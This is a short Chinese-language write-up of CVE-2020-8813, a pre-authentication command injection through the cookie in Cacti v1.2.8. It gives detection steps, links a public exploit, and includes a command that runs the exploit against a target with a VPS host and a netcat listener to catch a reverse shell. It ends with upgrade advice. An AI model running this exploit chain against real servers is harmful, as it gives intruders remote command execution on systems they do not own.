0x00 簡介

Cacti是一套基于PHP,MySQL,SNMP及RRDTool開發(fā)的網(wǎng)絡(luò)流量監(jiān)測圖形分析工具。

可以看到中國有2714個(gè)站點(diǎn)都使用了這個(gè)工具。覆蓋面還是比較廣。

0x01 影響范圍

受影響Cacti版本：Cacti v1.2.8

0x02 檢測

1、先判斷是否存在路徑：/graph_realtime.php?action=init ，能正常回顯說明存在。

2、再判斷回顯頁面文本中是否存在“poller_realtime.php”字樣，存在則存在漏洞。

也能訪問到poller_realtime.php

可用腳本批量檢測。

0x03 存在點(diǎn)

漏洞存在點(diǎn)為登錄處的cookie處，變量Cacti的值，可將Cacti的值更改為系統(tǒng)命令，直接造成命令執(zhí)行。

0x04 利用

exp下載：https://github.com/mhaskar/CVE-2020-8813

可用里面的第二個(gè)腳本：

python Cacti-preauth-rce.py http://xx.xx.xx.xx/cacti vps-host 1337

然后先在vps上開啟nc監(jiān)聽端口1337,即可接收到反彈shell。

0x05 防范

更新Cacti版本至最新版 v1.2.9

總結(jié)

以上是生活随笔為你收集整理的Cacti v1.2.8(CVE-2020-8813)漏洞利用的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。